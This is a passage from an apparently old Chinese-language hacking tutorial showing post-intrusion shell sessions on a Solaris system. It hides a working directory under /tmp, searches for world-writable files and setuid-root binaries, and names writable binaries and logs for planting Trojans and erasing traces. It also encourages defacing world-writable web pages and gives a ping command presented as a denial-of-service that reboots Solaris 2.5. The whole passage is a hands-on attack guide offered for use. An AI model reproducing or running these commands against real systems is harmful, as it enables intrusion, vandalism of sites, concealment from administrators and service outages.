mtu 8232
inet 0.0.0.0 netmask 0
ox% netstat -rn
Routing Table:
Destination Gateway Flags Ref Use Interface
-------------------- -------------------- ----- ----- ------ ---------
127.0.0.1 127.0.0.1 UH 0 738 lo0
159.226.5.128 159.226.5.188 U 3 341 be0
224.0.0.0 159.226.5.188 U 3 0 be0
default 159.226.5.189 UG 0 1198
......
2.1) 寻找可写文件、目录
ox% cd /tmp
ox% mkdir .hide
ox% cd .hide
ox% ls -ld `find / \( \( -type d -o -type f \) -a \( -perm -0002 -o -group 8
00 \
-a -perm -0020 \) \) -print` >.wr
(samsa:wr=writables:可写目录、文件)
ox% grep ^d .wr > .wd
(samsa:wd=writable directories:目录)
ox% grep ^- .wr > .wf
(samsa:wf=writable files:普通文件)
ox% ls -l `find / \( -perm -4000 -a -user root \) -print` >.sr
(samsa:sr=suid roots)
2.1.1) 系统配置文件可写:e.g.pam.conf,inetd.conf,inittab,passwd,etc.
2.1.2) bin 目录可写:e.g./usr/bin,/usr/local/bin,etc. (see:Trojan horses)
2.1.3) log 文件可写:e.g./var/adm/wtmp,/var/adm/messges,etc.(for track-erasin
g)
2.2) 篡改主页
绝大多数系统 http 根目录下权限设置有误!不信请看:
ox1% grep http /etc/inetd.conf
ox1% ps -ef | grep http
http 7538 251 0 14:02:35 ? 0:02 /opt/home1/ofc/http/httpd/htt
pd -
f /opt/home1/ofc/http/httpd/conf/httpd.conf
http 7567 251 0 15:16:46 ? 0:01 /opt/home1/ofc/http/httpd/htt
pd -
f /opt/home1/ofc/http/httpd/conf/httpd.conf
root 251 1 0 May 05 ? 3:27 /opt/home1/ofc/http/httpd/htt
pd -
f /opt/home1/ofc/http/httpd/conf/httpd.conf
......
ox1% cd /opt/home1/ofc/http/httpd
ox1% ls -l |more
total 530
drwxrwxrwx 11 http ofc 512 Jan 18 13:21 English
-rw-rw-rw- 1 http ofc 8217 May 10 09:42 Welcome.html
drwxr-sr-x 2 http ofc 512 Dec 24 15:20 cgi-bin
drwxr-sr-x 2 http ofc 512 Mar 24 1997 cgi-src
drwxrwxrwx 2 http ofc 512 Jan 12 15:05 committee
drwxr-sr-x 2 root ofc 512 Jul 2 1998 conf
-rwxr-xr-x 1 http ofc 203388 Jul 2 1998 httpd
drwxrwxrwx 2 http ofc 512 Jan 12 15:06 icons
drwxrwxrwx 2 http ofc 3072 Jan 12 15:07 images
-rw-rw-rw- 1 http ofc 7532 Jan 12 15:08 index.htm
drwxrwxrwx 2 http ofc 512 Jan 12 15:07 introduction
drwxr-sr-x 2 http ofc 512 Apr 13 08:46 logs
drwxrwxrwx 2 http ofc 1024 Jan 12 17:19 research
(samsa:哈哈!!差不多全都可以写,太牛了,改吧,还等什么??)
3) 拒绝服务(DoS:Denial of Service)
利用系统漏洞捣乱
e.g. Solaris 2.5(2.5.1)下:
$ ping -sv -i 127.0.0.1 224.0.0.1
PING 224.0.0.1 56 data bytes
(samsa:于是机器就reboot乐,荷荷)
发布人:netbull 来自:sinbad网络安全